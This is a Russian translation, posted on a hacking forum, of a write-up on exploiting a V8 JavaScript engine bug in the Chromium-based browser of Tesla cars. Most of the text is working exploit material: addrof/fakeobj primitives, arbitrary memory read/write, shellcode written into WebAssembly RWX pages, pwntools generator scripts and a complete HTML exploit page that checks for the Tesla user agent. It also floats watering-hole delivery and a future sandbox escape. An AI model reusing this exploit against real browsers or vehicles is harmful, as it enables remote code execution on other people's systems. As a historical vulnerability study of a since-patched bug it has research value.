0x390fe46707a8: 0x00000b0b039404b9 0x00000b0b039404b9
0x390fe46707b8: 0x00000b0b039404b9 0x000004174b0d9d39
0x390fe46707c8: 0x000004174b0d9d89 0x000004174b0d9cc9
0x390fe46707d8: 0x00000b0b039404b9 0x000004174b0d9e39
0x390fe46707e8: 0x000055555564ca50 0x000055555570fa40
0x390fe46707f8: 0x000055555570fa60 0x000055555570fa80
0x390fe4670808: 0x000055555570faa0 0x00000b0b03945979
0x390fe4670818: 0x0000180701bc7941 0x0000390fe46706f9
0x390fe4670828: 0x0000000000000000 0x0000000000000000
0x390fe4670838: 0x0000000000000000 0x0000000000000000
0x390fe4670848: 0x0000000000000000 0x00000b0b03940979
0x390fe4670858: 0x0000390fe4670811 0x00000b0b03944949
0x390fe4670868: 0x00000b0b03942561 0x00000b0b039404b9
0x390fe4670878: 0x0000000000000000 0xffffffff00000000
0x390fe4670888: 0x000000000000008d 0x0000248f56ec45e1
0x390fe4670898: 0x00000b0b03940c09 0x00000b0b03940c09
0x390fe46708a8: 0x0000390fe4670851 0x0000390fe46418c9
0x390fe46708b8: 0x000038ed1cd006f1 0x0000180701bc7941
0x390fe46708c8: 0x00000b0b03940b59 0x0000000400000000
0x390fe46708d8: 0x0000000000000000 0x0000000100000000
0x390fe46708e8: 0x00000b0b03944a69 0x0000248f56ecc9c3

Как и ожидалось, на этой странице есть исполняемый код:

Bash:
(gdb) x/32i 0x000029f9a7b97000
warning: (Internal error: pc 0x7ffff7fe9f85 in read in CU, but not in symtab.)
warning: (Internal error: pc 0x7ffff7fe9f85 in read in CU, but not in symtab.)
   0x29f9a7b97000:      jmp    0x29f9a7b972c0
   0x29f9a7b97005:      int3
   0x29f9a7b97006:      int3
   0x29f9a7b97007:      int3
   0x29f9a7b97008:      int3
   0x29f9a7b97009:      int3
   0x29f9a7b9700a:      int3
   0x29f9a7b9700b:      int3
   0x29f9a7b9700c:      int3
   0x29f9a7b9700d:      int3
   0x29f9a7b9700e:      int3
   0x29f9a7b9700f:      int3
   0x29f9a7b97010:      int3
   0x29f9a7b97011:      int3
   0x29f9a7b97012:      int3
   0x29f9a7b97013:      int3
   0x29f9a7b97014:      int3
   0x29f9a7b97015:      int3
   0x29f9a7b97016:      int3
   0x29f9a7b97017:      int3
   0x29f9a7b97018:      int3
   0x29f9a7b97019:      int3
   0x29f9a7b9701a:      int3
   0x29f9a7b9701b:      int3
   0x29f9a7b9701c:      int3
   0x29f9a7b9701d:      int3
   0x29f9a7b9701e:      int3
   0x29f9a7b9701f:      int3
   0x29f9a7b97020:      int3
   0x29f9a7b97021:      int3
   0x29f9a7b97022:      int3
   0x29f9a7b97023:      int3

Похоже, есть много места для перезаписи пользовательским шелл-кодом. В качестве теста проще всего записать 0xCCCCCCCCCCCCCCCC в первые 8 байтов страницы, перезаписав переход и запустив точку останова (или несколько). Это продемонстрирует контроль исполнения.

[...previous exploit code...]
let f = wasm_instance.exports.main;

let wasm_instance_addr = addrof(wasm_instance).sub(1);
let rwx_addr = memory.read64(wasm_instance_addr.add(0x80)); // Chrome 79.0.3945.88
print('rwx_addr: ' + rwx_addr);

memory.write64(rwx_addr, new Int64('0xCCCCCCCCCCCCCCCC'));
print('Press enter to run WASM code');
readline();
f();

Bash:
(gdb) run --allow-natives-syntax /mnt/hgfs/TeslaPwn/test_wasm.js
Starting program: /home/ubuntu/v8/master/v8/out/x64.debug/d8 --allow-natives-syntax /mnt/hgfs/TeslaPwn/test_wasm.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff2e6c700 (LWP 80589)]
[New Thread 0x7ffff266b700 (LWP 80590)]
[New Thread 0x7ffff1e6a700 (LWP 80591)]
rwx_addr: 0x000038a828a15000
Press enter to run WASM code


Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
0x000038a828a15001 in ?? ()
=> 0x000038a828a15001:  cc      int3

На этом этапе я загрузил обычный шелл-код оболочки обратного TCP, который отлично работал в d8, но не дал результата в Tesla. К сожалению, для этого проекта похоже, что они включили песочницу в свою версию Chromium. Наиболее полезные системные вызовы блокируются seccomp-bpf, особенно все, что связано с сетью или файловой системой.

Тем не менее, все еще можно провести некоторую разведку, в первую очередь UID, в котором запущен браузер, и используемую версию ядра.

Простые системные вызовы, такие как getuid, которые возвращают одно целое значение, просты, поскольку механизм Javascript преобразует возвращаемое значение в регистре RAX в SMI и выставляет его как возвращаемое значение функции WebAssembly.

Модуль Pwntools полезен для написания шелл-кода и создания массива Javascript для копирования в память RWX:

Python:
import binascii
from pwn import *

def chunks(lst, n):
    """Yield successive n-sized chunks from lst."""
    for i in range(0, len(lst), n):
        yield lst[i:i + n]

shellcode = """
/* Prologue */
push rbp
mov rbp, rsp
push 0xa
sub rsp, 0x10

/* call getuid() */
push SYS_getuid /* 0x66 */
pop rax
syscall

/* Epilogue */
_epilogue:
mov rsp, rbp
pop rbp
ret
"""

bytecode = asm(shellcode, arch='amd64')

print('let sc = [')

for chunk in chunks(bytecode, 8):
    if len(chunk) != 8:
        chunk += '\x90' * (8 - len(chunk))
    print("\t   '{}',".format(hex(u64(chunk))))
print('];')

Python:
$ python getuid.py
let sc = [
       '0x83480a6ae5894855',
       '0x48050f58666a10ec',
       '0x90909090c35dec89',
];
$

Код:
[...previous exploit code...]
function run_shellcode(sc) {
    sc.forEach(function(item, index) {
        memory.write64(rwx_addr.add(index*0x8), new Int64(item));
    });

    let res = f();
    return res;
}

function getuid() {
    let sc = [
        '0x83480a6ae5894855',
        '0x48050f58666a10ec',
        '0x90909090c35dec89',
    ];
    return run_shellcode(sc);
}

log('uid: ' + getuid());

getuid.jpeg


На этом этапе также было бы полезно знать версию ядра Linux, поскольку прямая атака на ядро может быть способом вырваться из песочницы. uname - это немного более сложный системный вызов, поскольку его аргументом является указателем на кусок доступной для записи памяти.

К счастью, в известном месте есть целая доступная для записи страница. Классический метод шелл-кода, позволяющий получить адрес буфера после того, как шелл-код завершает головоломку:

/* Prologue */
push rbp
mov rbp, rsp
push 0xa
sub rsp, 0x10

jmp buf
begin:
pop rdi /* Pop the return address from the call */
add rdi, 0x10 /* Fix up the address a little bit */
or rdi, 0xfffffffffffffff0

push SYS_uname /* 0x3f */
/* rdi = Address of struct utsname */
pop rax
syscall

/* Epilogue */
_epilogue:
mov rsp, rbp
pop rbp
ret

buf:
call begin /* Place the address after this instruction onto the stack */

И, наконец, информация о ядре из uname(2) доступна и может быть отображена пользователю:

function intarray_to_string(arr) {
var str = "";
for (var i = 0; i < arr.length; i++) {
if (arr === 0) {
break;
}
str += String.fromCharCode(arr);
}
return str;
}

function uname() {
let sc = [
'0x83480a6ae5894855',
'0xc783485f13eb10ec',
'0x583f6af0e7834810',
'0xe8c35dec8948050f',
'0x90909090ffffffe8',
];
run_shellcode(sc);

let output_addr = rwx_addr.add(0x30);

let output_buf = new ArrayBuffer(2048);
let float_view = new Float64Array(output_buf);
let int8_view = new Uint8Array(output_buf);

for (var i = 0; i < 48; i++) {
float_view = memory.read64(output_addr.add(i*8)).to_double();
}

// Note: Offsets found experimentally, may vary on other systems
let sysname = intarray_to_string(int8_view.slice(0, 0x40));
let nodename = intarray_to_string(int8_view.slice(0x41, 0x41+0x40));
let release = intarray_to_string(int8_view.slice(0x82, 0x82+0x40));
let version = intarray_to_string(int8_view.slice(0xc3, 0xc3+0x46));
let machine = intarray_to_string(int8_view.slice(0x104, 0x104+0x40));

return {
"sysname": sysname,
"nodename": nodename,
"release": release,
"version": version,
"machine": machine,
};
}


uname.jpeg

Наконец, полный код эксплойта для обзора с использованием доступных системных вызовов такой:


<!doctype html>

<html lang="en">
<head>
<meta charset="utf-8">

<title>TeslaPwn</title>
<!-- <link rel="stylesheet" href="css/styles.css?v=1.0"> -->

</head>

<body>
<h1>TeslaPwn</h1>
<ul id="log"></ul>

<script src="int64.js"></script>

<script type="text/javascript">

function log(msg) {
console.log(msg);
let log_ul = document.getElementById("log");
if (log_ul) {
let li = document.createElement('li');
li.appendChild(document.createTextNode(msg));
log_ul.appendChild(li);
}
}

log("User Agent: " + navigator.userAgent);

if (!navigator.userAgent.includes('Tesla/')) {
log("Browser does not appear to be a Tesla browser, don't expect this to work...");
}
if (!navigator.userAgent.includes("Chromium/79.0.3945.88")) {
log("Browser appears to be newer than 79.0.3945.88, don't expect this to work...");
}


var addrof_counter = 0;
var fakeobj_counter = 1000;

function addrof(obj) {
addrof_counter += 1;
for (var i = 0; i < 100; i++) {
let x = new Function('leak_obj', `let vuln = [0.1]; \
function empty${addrof_counter}() {} \
function f${addrof_counter}(nt) { \
let a = vuln.pop(Reflect.construct(empty${addrof_counter}, arguments, nt)); \
for (var i = 0; i < 0x10000; i++) {}; \
return a; \
} \

let p${addrof_counter} = new Proxy(Object, { \
get: function() { \
vuln[0] = leak_obj; \

return Object.prototype; \
} \
}); \

function main${addrof_counter}(o) { \
for (var i = 0; i < 0x10000; i++) {}; \
return f${addrof_counter}(o); \
} \

for (var i = 0; i < 0x10000; i++) {empty${addrof_counter}();} \

main${addrof_counter}(empty${addrof_counter}); \
main${addrof_counter}(empty${addrof_counter}); \

let q = main${addrof_counter}(p${addrof_counter}); \
return Int64.from_double(q);`
)(obj);

if (x !== 0x7ff8000000000000) {
return x;
}
}
}

function fakeobj(addr) {
fakeobj_counter += 1;
return new Function('new_obj_addr', `let vuln = [0.1]; \
let empty${fakeobj_counter} = function() {} \

let f${fakeobj_counter} = function(nt) { \
vuln.push(typeof(Reflect.construct(empty${fakeobj_counter}, arguments, nt)) === Proxy ? 0.2 : new_obj_addr); \
for (var i = 0; i < 0x10000; i++) {}; \
} \

let p${fakeobj_counter} = new Proxy(Object, { \
get: function() { \
vuln[0] = {}; \
return Object.prototype; \
} \
}); \

let main${fakeobj_counter} = function(o) { \
for (var i = 0; i < 0x10000; i++) {}; \
f${fakeobj_counter}(o); \
} \

for (var i = 0; i < 0x10000; i++) { empty${fakeobj_counter}(); } \

main${fakeobj_counter}(empty${fakeobj_counter}); \
main${fakeobj_counter}(empty${fakeobj_counter}); \

main${fakeobj_counter}(p${fakeobj_counter}); \
return vuln[3];`
)(addr);
}

let target_array_buffer = new ArrayBuffer(0x200);

let fake_map = {
a: 0x3132, // Map root
b: new Int64('0x1900042417080808').to_double(), // flags
c: new Int64('0x00000000084003ff').to_double(), // flags 2
d: 0x4142, // prototype
e: 0x5152, // constructor_or_backpointer
f: 0x6162, // raw_transitions
g: 0, // instance_descriptors
h: 0x8182, // layout_descriptors
i: 0x9192, // dependent_code
};
let array_buffer_map = addrof(fake_map).add(0x18);

let holder = {
a: array_buffer_map.to_double(), // Map pointer
b: 0, // Properties array (don't care)
c: 0, // Elements array (don't care)
d: new Int64(0x200).to_double(), // Array length
e: addrof(target_array_buffer).sub(1).to_double(), // Backing store (not tagged)
f: new Int64(0x2).to_double(), // Flags
g: new Int64(0).to_double(), // Embedder (can just be 0)
};

let fake_pointer = addrof(holder).add(8*3);
let fake_array_buffer = fakeobj(fake_pointer.to_double());

// Make 32-bit accessors
let fake_array_buffer_u32 = new Uint32Array(fake_array_buffer);

memory = {
read64: function(addr) {
fake_array_buffer_u32[8] = addr.low;
fake_array_buffer_u32[9] = addr.high;
let accessor = new Uint32Array(target_array_buffer);
return new Int64(undefined, accessor[1], accessor[0]);
},

write64: function(addr, value) {
fake_array_buffer_u32[8] = addr.low;
fake_array_buffer_u32[9] = addr.high;
let accessor = new Uint32Array(target_array_buffer);
accessor[0] = value.low;
accessor[1] = value.high;
},
};

// Fix up the map of the fake object (mostly untested...)
let fake_array_buffer_ptr = addrof(fake_array_buffer).sub(1);
let target_array_buffer_ptr = addrof(target_array_buffer).sub(1);
memory.write64(fake_array_buffer_ptr, memory.read64(target_array_buffer_ptr));


let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;

let wasm_instance_addr = addrof(wasm_instance).sub(1);
let rwx_addr = memory.read64(wasm_instance_addr.add(0x80)); // Chrome 79.0.3945.88
log('rwx_addr: ' + rwx_addr);

function run_shellcode(sc) {
sc.forEach(function(item, index) {
memory.write64(rwx_addr.add(index*0x8), new Int64(item));
});

let res = f();
return res;
}

function intarray_to_string(arr) {
var str = "";
for (var i = 0; i < arr.length; i++) {
if (arr === 0) {
break;
}
str += String.fromCharCode(arr);
}
return str;
}

function uname() {
let sc = [
'0x83480a6ae5894855',
'0xc783485f13eb10ec',
'0x583f6af0e7834810',
'0xe8c35dec8948050f',
'0x90909090ffffffe8',
];
run_shellcode(sc);

let output_addr = rwx_addr.add(0x30);

let output_buf = new ArrayBuffer(2048);
let float_view = new Float64Array(output_buf);
let int8_view = new Uint8Array(output_buf);

for (var i = 0; i < 48; i++) {
float_view = memory.read64(output_addr.add(i*8)).to_double();
}

// Note: Offsets found experimentally, may vary on other systems
let sysname = intarray_to_string(int8_view.slice(0, 0x40));
let nodename = intarray_to_string(int8_view.slice(0x41, 0x41+0x40));
let release = intarray_to_string(int8_view.slice(0x82, 0x82+0x40));
let version = intarray_to_string(int8_view.slice(0xc3, 0xc3+0x46));
let machine = intarray_to_string(int8_view.slice(0x104, 0x104+0x40));

return {
"sysname": sysname,
"nodename": nodename,
"release": release,
"version": version,
"machine": machine,
};
}

function getpid() {
let sc = [
'0x83480a6ae5894855',
'0x58276a5b0eeb10ec',
'0x90c35dec8948050f',
'0x90ffffffede89090',
];

return run_shellcode(sc);
}

function getuid() {
let sc = [
'0x83480a6ae5894855',
'0x58666a5b0eeb10ec',
'0x90c35dec8948050f',
'0x90ffffffede89090',
];
return run_shellcode(sc);
}

function getgid() {
let sc = [
'0x83480a6ae5894855',
'0x58686a5b0eeb10ec',
'0x90c35dec8948050f',
'0x90ffffffede89090',
];
return run_shellcode(sc);
}

function open_slash() {
let sc = [
'0x83480a6ae5894855',
'0x31e789482f6a10ec',
'0xf68101020101bed2',
'0xf58026a01030101',
'0x9090c35dec894805',
];

let res = run_shellcode(sc);
if (res === -1) {
log("Problem calling open(\"/\", O_RDONLY | O_DIRECTORY)");
}

return res;
}

log("PID: " + getpid());
log("UID: " + getuid());
log("GID: " + getgid());

let utsname = uname();
log("sysname: " + utsname.sysname);
log("nodename: " + utsname.nodename);
log("release: " + utsname.release);
log("version: " + utsname.version);
log("machine: " + utsname.machine);

log('FD for /: ' + open_slash());

</script>
</body>
</html>


Дальнейшие улучшения

Хотя это действующий эксплойт, приводящий к выполнению произвольного кода в процессе рендеринга, это далеко не полный проект. Наиболее очевидное место для продолжения исследования: побег из песочницы.

Побег из песочницы выходили за рамки обучения Ret2, и в самом конце курса оставалось лишь несколько слайдов, чтобы дать немного контекста. Эти слайды в основном были посвящены использованию расширенных функций безопасности Windows для усиления защиты песочницы, а также обсуждались оставшиеся поверхности для атак.

Учитывая, что целью является система Linux, кажется вероятным, что песочница достаточно надежна, полагаясь на seccomp-bpf для фильтрации системных вызовов (среди прочего). Кажется вероятным, что большинство уязвимостей ядра Linux, которые могут привести к эскалации привилегий, не будут доступны из песочницы, если только на очень ограниченной оставшейся поверхности атаки не существует уязвимая ошибка.

Мой подход к решению этой проблемы - найти соответствующие предыдущие эксплойты побега из песочницы (например,из Google Project Zero) и CTF, чтобы быстро изучить и отработать типы уязвимостей, которые существуют в IPC между процессами рендеринга и браузера. Если повезет, появится следующая статья, связывающая этот эксплойт с выходом из песочницы, что приведет к интересному реальному эффекту, например, открытию «frunk».

Наконец, эта уязвимость, вероятно, не квалифицируется как критическая, поскольку требует взаимодействия с пользователем для использования автомобильного браузера для посещения страницы, содержащей эксплойт. Возможно, его можно было бы развернуть на веб-сайтах, связанных с Tesla, как водяную атаку, но это кажется несколько надуманным.

Мобильное приложение Tesla может побудить автомобиль начать навигацию к месту во время его следующей поездки; возможно, есть способ использовать API для отправки произвольного URL-адреса, который затем загружается в браузер.

Заключение

Общий таймлайн:

- 24 февраля 2020 г: Exodus Intelligence публикует сообщение в блоге.
- 27 февраля 2020 г: мне стало известно об этом сообщении.
- Примерно 1 марта 2020 г: я начинаю экспериментировать с пробной версией Exodus и быстро понимаю, что она не работает с целевой версией.
- 6 марта 2020 г: я выполняю процедуру git bisect, определяю проблему и реализую addrof.
- 7 марта 2020 г: я реализую fakeobj, тратя почти весь день, затем добиваюсь произвольного чтения/записи.
- 8 марта 2020 г: я выполняю произвольный шелл-код и понимаю, что песочница уже в игре.
- 11 марта 2020 г: я завершаю создание доступных системных вызовов.
- Начало апреля 2021 года: Tesla обновляет Chromium 88.0.4324.150, устраняя уязвимость.

Критические даты - с вечера 6 марта (пятница) до 8 марта, что в сумме составляет примерно 24 часа активной работы в течение этих выходных.


Автор перевода: yashechka
Переведено специально для xss.pro
Источник:
leethax0.rs/2021/04/ElectricChrome/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх